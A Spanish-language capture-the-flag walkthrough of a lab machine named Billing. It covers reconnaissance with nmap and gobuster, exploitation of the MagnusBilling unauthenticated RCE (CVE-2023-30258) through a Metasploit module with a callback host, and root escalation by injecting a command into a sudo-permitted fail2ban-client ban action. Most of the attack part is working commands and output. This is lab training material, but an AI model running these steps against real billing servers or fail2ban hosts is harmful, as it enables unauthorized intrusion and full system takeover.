
Un recorrido detallado de la sala Billing explotando CVE-2023-30258 y escalando mediante una configuración incorrecta de fail2ban
Escrito por: Aditya Bhatt | Colaborador de Código Abierto
En este recorrido, nos lanzamos de lleno a la Sala Billing, mostrando una instancia vulnerable de MagnusBilling, un jugoso RCE sin autenticación (CVE-2023-30258) y una mala configuración de sudo en fail2ban que grita “rootéame”.
Esta sala combina hermosamente la explotación automatizada con la escalada de privilegios creativa, dándonos una muestra práctica de fallos del mundo real escondidos en software de facturación VoIP. Iremos desde el Reconocimiento Inicial hasta la Shell Root con PoC completo, comentarios y vibras 🗿.
Después de desplegar la máquina, lo primero que te golpea como un firewall mal configurado:
http://<machine_IP>/mbilling/
Esta es la página de inicio de sesión de MagnusBilling. Eso solo activa las alarmas — sabes que te espera un jugoso juego de CVEs.
Empezamos con el combo de reconocimiento definitivo:
nmap -A -sV -p- 10.10.115.173
🧠 Hallazgos:
/mbilling/A continuación, hacemos fuerza bruta total con Gobuster:
gobuster dir -u http://10.10.115.173/mbilling -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt
gobuster dir -u http://10.10.115.173/ -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt
🧠 Hallazgos:
Luego revisamos el robots.txt del sitio en busca de algo picante:
User-agent: *
Disallow: /mbilling/
Hmm… tratar de ocultarlo solo nos dan más ganas 😈
Una prueba rápida con netcat confirma que responde con:
Response: Error
Message: Missing action in request
Lo que confirma aún más: el backend es MagnusBilling, y el puerto está vinculado con Asterisk Call Manager. Hora de invocar nuestras artes oscuras 🧙
Exploit: Ejecución Remota de Código Sin Autenticación en MagnusBilling Module:
exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
Inicia Metasploit:
msfconsole
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
Luego verifica los requisitos:
show options
Luego configura lo siguiente:
set RHOSTS 10.10.115.173
set LHOST 10.17.88.138
run
Unos segundos después… Boom. ¡Conseguimos una sesión de Meterpreter!
shell
whoami ➤ asterisk
uname -a ➤ Linux Debian 6.1 x86_64
Intentamos lanzar una shell TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Empezamos a subir directorios con:
cd ..
cd ..
Hasta que encontramos:
cd /home/magnus
cat user.txt
¡Bien! Pero no hemos terminado. Necesitamos root, y Magnus nos está susurrando secretos.
Revisemos qué podemos ejecutar con sudo:
sudo -l
Resultado:
(ALL) NOPASSWD: /usr/bin/fail2ban-client
Ahora esto es 🔥. Podemos abusar de fail2ban-client para ejecutar comandos como root usando acciones de baneo.
Reiniciemos fail2ban:
sudo /usr/bin/fail2ban-client restart
Luego inyectamos el comando para robar la flag de root:
sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt'"
Dispara el baneo (y por lo tanto el comando):
sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1
Luego:
cat /tmp/root.txt
Rooteado. Como. Un. Jefe. 🗿🔥
robots.txt e indaga en puertos extraños.fail2ban-client) son igual de peligrosos.Esta máquina fue un hermoso equilibrio entre explotación automatizada y creatividad manual post-explotación. Desde el RCE en MagnusBilling hasta el rooteo via fail2ban, toca todas las notas correctas para la lista de reproducción de un pentester 🎧🎯
Ya seas un principiante buscando mejorar o un guerrero experimentado recolectando flags — esta es una obligación de pwn.
Hasta la próxima, Mantente Peligroso. Mantente Curioso. Mantente Majestuoso. 🗿
| 🔎 Fase | 💥 Acción/Herramienta Usada |
|---|
| Acceso Inicial | Descubrimos el portal /mbilling y el puerto 5038 con Nmap + Gobuster |
| Descubrimiento de Recon | CMS MagnusBilling + Administrador de Llamadas Asterisk |
| Explotación | CVE-2023-30258 vía Metasploit → shell Meterpreter |
| Enumeración | Localizamos /home/magnus/user.txt |
| Escalada de Privilegios | Abusamos de fail2ban-client sudo NOPASSWD → RCE como root |
| Flag Root | Obtenida /root/root.txt mediante inyección de payload en fail2ban |